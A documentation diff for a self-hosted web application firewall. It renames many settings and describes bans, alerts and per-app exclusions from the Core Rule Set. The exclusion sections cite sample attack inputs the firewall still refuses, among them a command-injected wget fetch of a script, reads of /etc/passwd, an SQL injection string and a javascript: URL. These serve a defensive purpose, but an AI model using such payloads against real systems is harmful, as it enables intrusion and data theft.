`SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | +| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | +| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | +| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | +| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | +| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | +| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | +| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | +| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | +| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | +| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | +| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in a minute, a size. | +| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one client in an hour, a size. | +| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in a minute, a size. | +| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the netblock around a client in an hour, a size. | +| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. | +| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. | +| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in a minute, a size. | +| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for one AS number in an hour, a size. | +| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in a minute, a size. | +| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for the whole service in an hour, a size. | +| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | +| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | +| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | +| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in a minute, a size. | +| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted for a watched netblock in an hour, a size. | [`docs/settings.md`](docs/settings.md) gives the values each setting takes in full, and the limits that are fixed rather than settings. @@ -455,7 +455,7 @@ services: environment: SWW_RPROXY_WAF_BACKEND: http://waf:8080 # Answer 503 rather than pass a request on while waf is down. - SWW_RPROXY_DEFAULT_DISPOSITION: deny + SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny ports: - "8080:8080" @@ -537,12 +537,12 @@ request reaches the app. 17. The request is passed to the app, streaming. 18. After the answer, `rproxy` sends `waf` a report with the status and the body bytes each way. For an allowed request, `waf` counts the bytes - `SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they - take it past one, and adds the request to the client's history. + `SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if + they take it past one, and adds the request to the client's history. A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has -false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD` +false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` instead. A request over the header limits of step 3 is answered `431`, and bans nobody either. `rproxy` itself answers `405` to a method it does not pass on, and the status for a size or time limit, such as `413` for a body too large. @@ -583,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). - The Core Rule Set reads the method, the URL with its query string, and the headers of every request, and no body unless - `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies - carry what people write and publish, which the rules take for attacks. + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge, + bodies carry what people write and publish, which the rules take for attacks. - `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary requests to a code forge through, such as git over HTTP and sign-in through Git Credential Manager. No setting undoes the changes; "Attack detection" in diff --git a/SPEC.md b/SPEC.md index d13884d..f0eaa1e 100644 --- a/SPEC.md +++ b/SPEC.md @@ -157,12 +157,13 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in `prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in `SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag. 4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the - byte limits and the error burst. A client in `SWW_WAF_DENY_NETS` is refused + byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused (`deny_nets`); a client in both lists is let through. 5. Bans. A client under a ban is refused (`active_ban`; see "Bans"). 6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number and country"). The request goes on at once. It waits for the first GeoJS - answer, up to `SWW_WAF_LOOKUP_TIMEOUT`, only when one of these needs it: + answer, up to `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, only when one of + these needs it: - the country list; - a biased threshold; - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or @@ -176,10 +177,10 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in - A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION` (`blocklists`). - A client on the CrowdSec decision list is banned (`crowdsec`). - - A client listed by a DNS blocklist gets `SWW_WAF_REPUTATION_ACTION` + - A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`dnsbl`). - A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets - `SWW_WAF_REPUTATION_ACTION` (`abuseipdb`). + `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`). 9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag in `SWW_WAF_TAG_DENY` is refused. 10. The client's limit percentage (see "Biased thresholds"). @@ -204,18 +205,18 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in 18. After the visitor's answer has ended, `rproxy` sends the report (see "The report"). `waf` then counts: - For a request it allowed, the body bytes of the response, of the request - or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNT` says. - For a WebSocket, what it carried each way counts once it closes. A client - whose total passes a byte limit times the percentage has broken that limit - and is banned (`byte_limits`). The request that broke it has already been - passed on whole; nothing is cut off. + or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED` + says. For a WebSocket, what it carried each way counts once it closes. A + client whose total passes a byte limit times the percentage has broken + that limit and is banned (`byte_limits`). The request that broke it has + already been passed on whole; nothing is cut off. - For a request it allowed, the client's history and the anomaly counters are updated, and the alert thresholds are evaluated. For a request it refused, `waf` adds nothing to the byte limits. It updates - the history and the anomaly counters at its decision. It counts the refusals - the error burst counts at the decision too (`refusal_limit`; see "Attack - detection"). + the history and the anomaly counters at its decision. A refusal for a rule + file match, a trap path or a Core Rule Set match also counts toward the + refusal limit at the decision (`refusal_limit`; see "Attack detection"). In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have happened, nothing is refused, and `waf` makes no ban of its own. A path under @@ -279,7 +280,7 @@ to a ban, each by its own rule: - a request over a rate limit; - the bytes counted for a request and its response taking the client's total past a byte limit; - - more than `SWW_WAF_ERROR_BURST_THRESHOLD` refusals within a minute. + - more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute. The bans for a broken limit: - The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with @@ -288,15 +289,16 @@ to a ban, each by its own rule: ended. - Breaking a limit again within that window makes the new ban three times as long as the last one: one hour, then 3, 9, 27 and 81 hours. - - A ban that would be longer than `SWW_WAF_MAX_BAN_DURATION` (default `7d`) - is permanent instead. At the defaults, that is the sixth ban in a row. + - A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` + (default `7d`) is permanent instead. At the defaults, that is the sixth + ban in a row. - Each such ban sets the client's counters for every limit back to zero. Once it ends, only new requests can break a limit again. The client's history keeps its totals. A Core Rule Set match refuses only the request it matched, with `403` and without a ban, because the Core Rule Set has false positives. A `block` rule -does the same. Those refusals count toward the error burst, so a client that +does the same. Those refusals count toward the refusal limit, so a client that keeps setting them off is banned for a broken limit. A client on the CrowdSec decision list is banned until the decision ends, with @@ -350,8 +352,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions: - These settings take `off`, which switches them off: - `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`; - the three rate limits and the three byte limits; - - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`, - `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` and `SWW_WAF_ERROR_BURST_THRESHOLD`; + - `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`, + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and + `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`; - `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`; - every anomaly threshold; - `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`, @@ -404,9 +407,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions: - `SWW_WAF_STATE_DIR` names the directory of the state files, and `SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment"). -- `bans.json` is written `SWW_WAF_STATE_WRITE_DELAY` after a ban is made, lifted +- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted or made permanent, so a burst of changes becomes one write. Every file is - written every `SWW_WAF_STATE_COUNTER_INTERVAL`, and at an orderly stop. + written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop. ### Logging @@ -420,15 +423,16 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions: ### Metrics -- `SWW_WAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries - get a series of their own. The rest are summed as `other`, so the label set - stays bounded. +- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS + numbers and countries get a series of their own. The rest are summed as + `other`, so the label set stays bounded. ### Static lists - `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request - and byte limits only; the error burst, attack detection and bans still apply. + and byte limits only; the refusal limit, attack detection and bans still + apply. - Many people can share one address, as in an office, on a mobile carrier or through Tor. They are one client, and share its limits and its bans. A known shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or @@ -474,7 +478,7 @@ app may read it as a path outside the prefix. ### Byte limits, per client The byte limits count body bytes: the app's response bodies, the visitors' -request bodies, or both, as `SWW_WAF_BYTES_COUNT` says. Headers are never +request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. The bytes counted for a request and its response are added to the client's total once the response has ended (see step @@ -510,11 +514,11 @@ service that keeps its visitors' addresses on its own host. are kept apart from the table of clients, so that an answer outlasts a client dropped from that table. The answer reaches the client's history and ban notes when it comes. -- `SWW_WAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its - client's first answer, when a setting needs it (see step 6). It also bounds - each request to GeoJS. A client whose answer has not come in time counts as - unknown until it comes, and its later requests do not wait. Its address is - asked about again in the background. +- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request + waits for its client's first answer, when a setting needs it (see step 6). It + also bounds each request to GeoJS. A client whose answer has not come in time + counts as unknown until it comes, and its later requests do not wait. Its + address is asked about again in the background. - A client the lookup cannot place has an unknown country and AS number, which the country list and the biased thresholds treat as described there. Nothing else treats it differently. @@ -576,7 +580,7 @@ Each tag and where it comes from: key masked, as the `reputation` field gives it. - `exploitsignature`, when a rule file or the Core Rule Set matched the request. For the Core Rule Set a match is a score at or over - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`. + `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`. - `asn=` and `prefix=` from a routewatch instance (`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set: - The tag `prefix=` holds the netblock the client's address is announced in, @@ -623,13 +627,13 @@ abuse comes from. - `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50` (see "Request tags"). A lowered limit is rounded down. -- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first - request breaks a limit and bans it. -- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` set the byte - limits' percentage alone, when it should differ from the request limits'. For - an AS number they list, they replace its `asn=` tag's percentage and its entry - in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's - percentage. +- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the + client's first request breaks a limit and bans it. +- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` + set the byte limits' percentage alone, when it should differ from the request + limits'. For an AS number they list, they replace its `asn=` tag's percentage + and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its + `country=` tag's percentage. - `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so one abuse-source list can be shared by every `waf` in the fleet. It is fetched and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=` @@ -637,8 +641,8 @@ abuse comes from. applies. - A client's limit percentage is the lowest of those that apply to it: its AS number's, its country's, its tags', or a reputation hit's `limit:`. A - client without a country gets `SWW_WAF_UNKNOWN_LIMIT_PERCENT` in place of a - country's. The percentage is 100 if none applies. Clients given a lower + client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place + of a country's. The percentage is 100 if none applies. Clients given a lower percentage are banned after fewer requests, first for a while and then, for repeated abuse, permanently. The log line of each counted request, and the notes of each ban, say which setting lowered the limit. @@ -660,16 +664,16 @@ files, the limits and the bans still apply to the client that sends it. - The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`. - `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` are the Core Rule Set's own two - tuning values, at its own defaults. Each level up runs more rules, which find - more attacks and take more ordinary requests for attacks. Each rule that - matches adds its score to the request's, and a rule rated critical adds 5. A - request whose score reaches the threshold is a match, so by default one - critical rule is enough. With the threshold `off`, nothing is a match, and - scores are still logged. A request with more than 1000 query parameters or - body fields adds 5 to its score, since Coraza reads only the first 1000. For a - match, in `block` and `detect` mode alike, the log line gives the rule ids and - the score, and a `core_rule_set_match` alert is sent. + `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning + values, at its own defaults. Each level up runs more rules, which find more + attacks and take more ordinary requests for attacks. Each rule that matches + adds its score to the request's, and a rule rated critical adds 5. A request + whose score reaches the threshold is a match, so by default one critical rule + is enough. With the threshold `off`, nothing is a match, and scores are still + logged. A request with more than 1000 query parameters or body fields adds 5 + to its score, since Coraza reads only the first 1000. For a match, in `block` + and `detect` mode alike, the log line gives the rule ids and the score, and a + `core_rule_set_match` alert is sent. - `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips a false positive. The default switches off six rules: - 920340, 920420 and 920640 refuse a request for the type of its body, when @@ -707,14 +711,14 @@ files, the limits and the bans still apply to the client that sends it. loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded yet. -- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` switches body inspection on, up to that - size. It takes at most `64K`, since `waf` gets no more of a body than that - (see "The answer"). Form data and multipart bodies are read up to the size. - JSON and XML bodies are read only when no larger than the size, since those - cannot be read in part. Any other body is not read: the Core Rule Set would - read it as form data, where binary content such as a git push trips rules - written for text. A body the Core Rule Set cannot parse adds 5 to the score, - and so does a multipart body cut by the limit in the middle of a part's +- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up + to that size. It takes at most `64K`, since `waf` gets no more of a body than + that (see "The answer"). Form data and multipart bodies are read up to the + size. JSON and XML bodies are read only when no larger than the size, since + those cannot be read in part. Any other body is not read: the Core Rule Set + would read it as form data, where binary content such as a git push trips + rules written for text. A body the Core Rule Set cannot parse adds 5 to the + score, and so does a multipart body cut by the limit in the middle of a part's header. Body inspection suits apps whose forms carry no code. - `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask for, such as `/wp-login.php` in front of an app that is not WordPress. This is @@ -723,8 +727,8 @@ files, the limits and the bans still apply to the client that sends it. the path as sent and once percent-decoded: `/wp-login.php` matches `/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/` or `/blog/wp-login.php`. -- `SWW_WAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these - kinds, and of no other: +- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of + these kinds, and of no other: - a rule file match; - a trap path; - a Core Rule Set match. @@ -748,10 +752,10 @@ every app, and no setting undoes them: Core Rule Set does not read, which by default is every request. git compresses a fetch request over 1 KiB and says so in that header. On a body the Core Rule Set does read, the header stays refused, since a compressed - body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set, it - stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV - paths, whose body Nextcloud's fixes leave unread. The other headers the Core - Rule Set refuses, such as `Proxy`, stay refused. + body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` + is set, it stays refused too on a `PUT` of JSON, XML or form data to + Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The + other headers the Core Rule Set refuses, such as `Proxy`, stay refused. 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth and tea, which gitea registers for OAuth sign-in, ask to be sent back to @@ -812,7 +816,7 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are: - `artifactName` and `redirect_to`. They skip these rules in the query, and in a form data or multipart body - while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. + while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. gitea puts into them file paths, branch and workflow names, and the page to return to after signing in. It reads these values as names in a repository @@ -971,8 +975,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are: and `fix-powershell-module` were refused. `; wget http://example.com/x.sh` and path traversal are still refused in these fields. These exclusions matter only while - `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. None applies when the query - has a parameter of the same name. + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when + the query has a parameter of the same name. - `id` of the forms that adopt or delete an unadopted repository, for the rules that refused repository names (930120, 932120, 932160, 932260). `id` @@ -1066,7 +1070,8 @@ The fields are: the lists of system files, shell paths, command names and JavaScript names (930120, 932120, 932160, 932260, 941180). - These fields of a body. Each applies only when the query has no parameter of - that name, so it matters only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set: + that name, so it matters only while + `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set: - `content` of a post, a page, a template or a template part saved through the REST API. It holds HTML and any code it shows. - `content` of a reply to a comment sent to `admin-ajax.php`. @@ -1193,8 +1198,8 @@ These fields of a body skip the rules that refused them: for the same four rules. - `mail` on those forms, for 930120, 932120 and 932260 only. -These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. -None applies when the query has a parameter of the same name. +These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` +is set. None applies when the query has a parameter of the same name. Elsewhere these fields keep every rule. The paths are those of Drupal at the site root, with or without a language prefix such as `/fr`. Such a prefix is any @@ -1294,8 +1299,9 @@ These fields of a body skip the rules that refused them: have a namespace, such as `Special:`. The title follows `/index.php/` or `/wiki/` in the path, or is the `title` of `/index.php`. -These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is -set. None applies when the query has a parameter of the same name. +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a @@ -1448,8 +1454,9 @@ items. `` sent as a password reach Mastodon; `` and `javascript:alert(1)` are still refused. -These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is -set. None applies when the query has a parameter of the same name. +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. The names of uploaded files skip 932180 on these paths: @@ -1514,8 +1521,9 @@ The addresses skip them on these paths too: - `/api/auth-requests` and the paths under it, for signing in with another device. -These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is -set. None applies when the query has a parameter of the same name. +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. `username` in the query of `/api/hibp/breach`, the data breach report, skips 930120, 932120 and 932260 too. @@ -1688,10 +1696,11 @@ A CalDAV or CardDAV client finds these paths with a `PROPFIND` on `/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those two paths. -These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is -set. None applies to a JSON field when the query has a parameter of that name, -such as `json.message`. Nextcloud's pages are matched at the site root and under -`/index.php/`. Elsewhere these fields keep every rule. +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON +field when the query has a parameter of that name, such as `json.message`. +Nextcloud's pages are matched at the site root and under `/index.php/`. +Elsewhere these fields keep every rule. Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo` gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and @@ -1738,7 +1747,7 @@ Forgejo renames a branch at `///settings/rename_branch`, where gitea uses `///branches/rename`. There, as on gitea's path, `from` and `to` skip the lists of Windows commands and command names (932120, 932260), which refused `fix-powershell-module` and `feat/docker-support`. This matters -only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. +only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. The Core Rule Set reads the request without the `flash` cookie, in which Forgejo puts what gitea puts in `gitea_flash` (gitea's second fix). @@ -1830,9 +1839,10 @@ resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `` sent as a password reach Ghost; `` and `javascript:alert(1)` are still refused. -These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is -set. None applies when the query has a parameter of the same name. Elsewhere -these fields keep every rule. The paths are those of Ghost at the site root. +These body exclusions matter only while +`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query +has a parameter of the same name. Elsewhere these fields keep every rule. The +paths are those of Ghost at the site root. Each app's fixes switch rules off for some of its fields and cookies. Any other app on a hostname that gets those fixes must check those fields and cookies @@ -1914,7 +1924,7 @@ together. - an answer in `127.255.255.0/24`; - an answer outside `127.0.0.0/8`; - a resolver error; - - no answer within `SWW_WAF_REPUTATION_TIMEOUT`. + - no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`. DNS blocklists made for mail servers list residential ranges, and would block ordinary visitors, so they should not be used. Spamhaus zones need @@ -1939,13 +1949,13 @@ together. after which no client is checked for a minute, when: - AbuseIPDB answers other than `200`; - the answer gives no score; - - no answer comes within `SWW_WAF_REPUTATION_TIMEOUT`. -- `SWW_WAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is + - no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`. +- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is `limit:25` by default. Such verdicts are less certain than a blocklist, so a listed client gets a quarter of every request and byte limit rather than a refusal. -- Verdicts and scores are kept for `SWW_WAF_REPUTATION_CACHE_TTL`, in memory and - in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over +- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory + and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over quota gives no verdict. The service continues. Each failure raises a `source_failure` alert (see "Alerting"). @@ -1982,13 +1992,13 @@ which the metrics show. They reveal a widely distributed scraper, thousands of addresses at low rates each, which the per-client limits do not see. A low percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response. -- Requests and body bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted per - minute and per hour, for each of: +- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted + per minute and per hour, for each of: - a client; - the surrounding netblock; - an AS number; - the whole service; - - a named netblock in `SWW_WAF_WATCH_NETS`. + - a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`. - Every request `waf` answers with `allow`, `deny` or `close` is counted, an allowed one when its report comes. That holds whatever was done with it, and for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`, @@ -1997,9 +2007,9 @@ percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response. ## Rule files -`waf` reads every `*.rules` file in `SWW_WAF_RULES_DIR` and checks each request -against them. `docs/rules.md` gives the format, the targets and actions, and the -default file. +`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each +request against them. `docs/rules.md` gives the format, the targets and actions, +and the default file. - The files are plain text meant to be edited by hand, so that a new scanning pattern seen in the request log becomes a rule in one line. `waf` watches the @@ -2028,9 +2038,9 @@ default file. - a regex that does not compile; - a duplicate id. - So does a `SWW_WAF_RULES_DIR` that does not exist or cannot be read. While - running, the same faults leave the rules as they were, and the log and one - `file_error` alert name the file and line. Once the file is fixed, it is + So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read. + While running, the same faults leave the rules as they were, and the log and + one `file_error` alert name the file and line. Once the file is fixed, it is read again. An empty directory is not an error: the log says that no rules were loaded. @@ -2040,13 +2050,13 @@ default file. `///src/branch/main/.env.example` is a file in a repository that any visitor 